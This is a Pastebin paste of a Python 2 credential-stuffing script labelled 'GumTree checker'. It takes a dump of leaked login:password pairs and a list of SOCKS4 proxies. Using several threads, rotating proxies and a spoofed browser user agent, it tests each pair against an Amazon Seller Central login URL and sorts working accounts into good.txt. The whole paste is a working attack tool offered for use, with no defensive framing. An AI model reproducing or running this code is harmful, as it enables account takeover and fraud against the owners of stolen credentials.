Advertisement
Guest User

Untitled

a guest
Jun 8th, 2016
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.71 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import os
  3. import sys
  4. import requests
  5. import requesocks
  6. import urllib
  7. import threading
  8. from optparse import OptionParser
  9. from BeautifulSoup import BeautifulSoup as beatsop
  10.  
  11. #GumTree checker v1.0
  12.  
  13. userAgent = u"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36"
  14. url = "https://sellercentral.amazon.co.uk/gp/homepage.html"
  15. threads = 5
  16. proxylist = {}
  17. dumpslist = {}
  18. proxy_count = 0;
  19. good = open("good.txt", "w")
  20. bad = open("bad.txt", "w")
  21.  
  22.  
  23. class ThreadProcess (threading.Thread):
  24. def __init__(self):
  25. threading.Thread.__init__(self)
  26. def run(self):
  27. global proxylist
  28. global dumpslist
  29. global good
  30. global bad
  31. global proxy_count
  32. while (1==1):
  33. threadLock.acquire()
  34. if (proxy_count >= len(proxylist.keys())):
  35. proxy_count = 0
  36. if (len(proxylist.keys()) == 0):
  37. print "No more good proxies update list"
  38. threadLock.release()
  39. return
  40. prox = proxylist.keys()[proxy_count]
  41. proxy = prox[:prox.index(':')]
  42. port = int(prox[prox.index(':') + 1:])
  43. proxy_count = proxy_count + 1
  44. dump = ""
  45. for line in dumpslist.keys():
  46. if (dumpslist[line] == 0):
  47. dump = line
  48. break
  49. if (dump == ""):
  50. print "No more dumps"
  51. threadLock.release()
  52. return
  53. dumpslist[dump] = 1
  54. # print "Checking..." + dump
  55. threadLock.release()
  56. if (';' in dump):
  57. login = dump[:dump.index(';')]
  58. pwd = dump[dump.index(';') + 1:]
  59. else:
  60. login = dump[:dump.index(':')]
  61. pwd = dump[dump.index(':') + 1:]
  62. res = checkLogin(login, pwd, proxy, port)
  63. if (res == 200):
  64. print dump + " ... " + '\033[92m' + "[GOOD]" + '\033[0m'
  65. good.write(dump + "\r\n")
  66. good.flush()
  67. os.fsync(good)
  68. elif (res == 300):
  69. print dump + " ... " + '\033[91m' + "[BAD]" + '\033[0m'
  70. bad.write(dump + "\r\n")
  71. bad.flush()
  72. os.fsync(bad)
  73. else:
  74. print dump + " ... " + '\033[94m' + "[PROXY FAILIURE]" + '\033[0m'
  75. threadLock.acquire()
  76. dumpslist[dump] = 0;
  77. try:
  78. proxylist[prox] = proxylist[prox] + 1
  79. if (proxylist[prox] == 3):
  80. del proxylist[prox]
  81. except:
  82. print "Proxy already removed"
  83. threadLock.release()
  84.  
  85.  
  86. def cleanline(line):
  87. try:
  88. line = line.encode("utf-8")
  89. except:
  90. line = ""
  91. return line
  92. line = line.replace("\n", "")
  93. line = line.replace("\r", "")
  94. return line
  95.  
  96. def checkLogin(user, password, socks, port):
  97. headers = {u'Content-type': u'application/x-www-form-urlencoded', u'User-Agent' : userAgent, u'Accept-Language' : u"en-US,en;q=0.5", u'Accept-Encoding' : u'gzip, deflate', u'Connection':'keep-alive' }
  98. session = requesocks.session()
  99. session.proxies = {'http' : 'socks4://' + socks + ':' + str(port), 'https' : 'socks4://' + socks + ':' + str(port)}
  100. result = ""
  101. try:
  102. params = "username=" + user + "&password=" + password
  103. rp = session.post(url, headers=headers, data=params, timeout=60, allow_redirects=False)
  104. ok = rp.headers.get('location')
  105. if ok == None:
  106. return 300
  107. else:
  108. return 200
  109. except Exception,e:
  110. return 404
  111.  
  112.  
  113. parser = OptionParser()
  114. parser.add_option("-s", "--socks", dest="socks", help="Socks file source", metavar="FILE")
  115. parser.add_option("-l", "--logins", dest="logins", help="Login dump source file", metavar="FILE")
  116. parser.add_option("-t", "--threads", dest="threads", help="Thread count", metavar="INTEGER")
  117. (options, args) = parser.parse_args()
  118. if (options.socks == None):
  119. print "Socks required!"
  120. parser.print_help()
  121. exit()
  122. elif (options.logins == None):
  123. print "No logins to check. Common man why did you invoked me?"
  124. parser.print_help()
  125. exit()
  126.  
  127. if (options.threads == None):
  128. print "Running 5 Threads"
  129. else:
  130. threads = int(options.threads)
  131. print "Running " + str(threads) + " Threads"
  132.  
  133. try:
  134. fis = open(options.socks, "r")
  135. except:
  136. print "Could not load socks list. Invalid path?"
  137. exit()
  138.  
  139. print "Loading socks list ..."
  140.  
  141. count = 0
  142. for line in fis:
  143. count = count + 1
  144. line = cleanline(line)
  145. if not (':' in line):
  146. print "ERROR! Invalid line proxy:" + str(count)
  147. continue
  148. else:
  149. proxylist[line] = 0
  150.  
  151. print "Loading logins list ... "
  152. try:
  153. fis = open(options.logins, "r")
  154. except:
  155. print "Could not load login list. Invalid path ?"
  156. exit()
  157.  
  158. count = 0
  159. for line in fis:
  160. count = count + 1
  161. line = cleanline(line)
  162. if not ((':' in line) or (';' in line)):
  163. print "ERROR! Invalid line dump:" + str(count)
  164. continue
  165. else:
  166. dumpslist[line] = 0
  167.  
  168. print "Starting threads ... "
  169.  
  170. threadLock = threading.Lock()
  171. thrd = []
  172.  
  173. for i in range(1, threads + 1):
  174. t = ThreadProcess()
  175. thrd.append(t)
  176. t.start()
  177.  
  178. for t in thrd:
  179. t.join()
  180.  
  181. print "GumTree Checker Finished enjoy!"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement